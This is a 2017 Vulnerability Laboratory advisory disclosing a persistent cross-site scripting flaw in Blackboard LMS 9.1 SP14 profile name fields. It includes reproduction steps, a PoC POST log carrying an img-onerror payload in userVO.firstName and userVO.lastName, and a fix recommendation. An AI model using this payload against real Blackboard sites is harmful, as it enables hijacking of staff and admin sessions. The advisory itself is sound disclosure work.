Blackboard LMS 9.1 SP14 Cross Site Scripting

`Document Title:  
===============  
Blackboard LMS 9.1 SP14 - (Profile) Persistent Vulnerability   
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1900  
  
  
Release Date:  
=============  
2017-01-09  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1900  
  
  
Common Vulnerability Scoring System:  
====================================  
4.2  
  
  
Product & Service Introduction:  
===============================  
Blackboard Learn (previously the Blackboard Learning Management System), is a virtual learning environment and course management system   
developed by Blackboard Inc. It is Web-based server software which features course management, customizable open architecture, and scalable   
design that allows integration with student information systems and authentication protocols. It may be installed on local servers or hosted   
by Blackboard ASP Solutions. Its main purposes are to add online elements to courses traditionally delivered face-to-face and to develop   
completely online courses with few or no face-to-face meetings.  
  
(Copy of the Homepage: http://www.blackboard.com/learning-management-system/blackboard-learn.aspx )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered an application-side input validation vulnerability in the official Blackboard LMS 9.1 SP14.  
  
  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-01-09: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
BlackBoard Inc.  
Product: Blackboard LMS - Content Management System 9.1 SP 14  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting web vulnerability has been discovered in Blackboard LMS official web-application.   
  
Remote attackers are able to inject malicious code into profile information module, the vulnerability is located in   
the first name,last name of user profile, the vulnerable fields in the module (userVO.firstName & userVO.lastName).  
  
The issue allows an attacker to inject own malicious java script codes to the vulnerable modules context. The execution   
of the vulnerability occurs in Blackboard LMS main panel & user management module. Due to our investigation we discovered   
that users with low privileged access are able to to inject their own java code to compromise other moderator or admin   
session credentials. The request method to inject is POST and the attack vector of the issue is persistent. The execute   
occurs each time an account visits the profile page of the attacking user account.  
  
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2   
Exploitation of the web vulnerability requires a low privileged user account with restricted access and low user interaction.   
Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external   
redirect to malicious sources and application-side manipulation of affected or connected module context.  
  
  
Proof of Concept (PoC):  
=======================  
The persistent vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. User register in the blackboard LMS course as student .   
2. User goes to profile information section and inject the code persistent payload > into the firstname or lastname input fields   
Note: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form  
3. User submits data and saves it via POST method request with out secure parse by the web validation  
4. The execution of vulnerability occurs in the user management:   
https://b-lms.localhost:8000/webapps/Bb-sites-enrollment-manager-BBLEARN/enrollmentManager.form?course_id=_431252_1   
5. Successfully reproduce the application-side web validation vulnerability!   
  
  
--- PoC Session Logs [POST] ---  
POST /webapps/Bb-sites-user-profile-BBLEARN/profile.form HTTP/1.1  
Host: b-lms.localhost:8000  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Referer: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form  
Cookie: JSESSIONID=285EAF6ED95FF4574CADF4FF90F218B1; __utma=154552106.1787260759.1470597563.1470597563.1470652392.2;   
__utmz=154552106.1470597563.1.1.utmcsr=vulnlab.coursesites.com|utmccn=(referral)|utmcmd=referral|utmcct=/; COOKIE_CONSENT_ACCEPTED=true;   
NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d159545525d5f4f58455e445a4a42378b; session_id=153E1080C32EF7E9393910EC45598887;   
s_session_id=FCCF148598E6531BC4167D5C3B8A2949; JSESSIONID=C866524B3CA437DF8E0AC184746DBD36; __utmb=154552106.26.9.1470653164713; __utmc=154552106; __utmt=1  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 605  
userVO.firstName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.lastName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.user.educationLevel=  
Not+Disclosed&userVO.user.gender=Not+Disclosed&birthDate_datetime=&pickdate=&pickname=&birthDate_date=&userVO.user.studentId=&userType=HE_STUDENT  
&userVO.user.emailAddress=sec%40secteach.me&userVO.user.street1=&userVO.user.city=&userVO.user.state=&userVO.user.zipCode=&userVO.user.country=AF  
&userVO.user.mobilePhone=&userVO.user.homePhone1=&userVO.user.webPage=&userVO.userProfile.institutionGuid=User_Instr_2015-02-22_19%3A31%3A21.304  
&userVO.user.jobTitle=&userVO.user.department=&top_Submit=Submit  
-  
RESPONSE  
HTTP/1.1 200 OK  
Date: Mon, 08 Aug 2016 11:06:31 GMT  
Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/1.0.1g mod_jk/1.2.37  
X-Blackboard-appserver: fgprd-106969-156642-app006.mhint  
P3P: CP="CAO PSA OUR"  
X-Blackboard-product: Blackboard Learn ™ 9.1.140152.0  
Set-Cookie: session_id=153E1080C32EF7E9393910EC45598887; Path=/; HttpOnly  
Set-Cookie: s_session_id=FCCF148598E6531BC4167D5C3B8A2949; Path=/; Secure; HttpOnly  
Pragma: no-cache  
Cache-Control: no-cache, no-store  
Expires: Thu, 01 Jan 1970 00:00:00 GMT  
Last-Modified: Fri, 18 Jul 2014 19:02:32 GMT  
Content-Language: en-US  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html;charset=UTF-8  
  
  
Reference(s):  
https://b-lms.localhost:8000/  
https://b-lms.localhost:8000/webapps/  
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/  
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse or encode of the vulnerable firstname and lastname input fields.  
Disallow the usage of special chars and filter the entries by an escape. Parse the output context in the profile.form to   
prevent application-side executions.  
  
  
Security Risk:  
==============  
The security risk of the application-side input validation vulnerabilities in the user profile section is estimated as medium. (CVSS 4.2)  
  
  
Credits & Authors:  
==================  
Vulnerability Lab [Research Team] - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,   
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,   
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised   
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing   
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically   
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or   
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific   
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.  
  
Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
  
`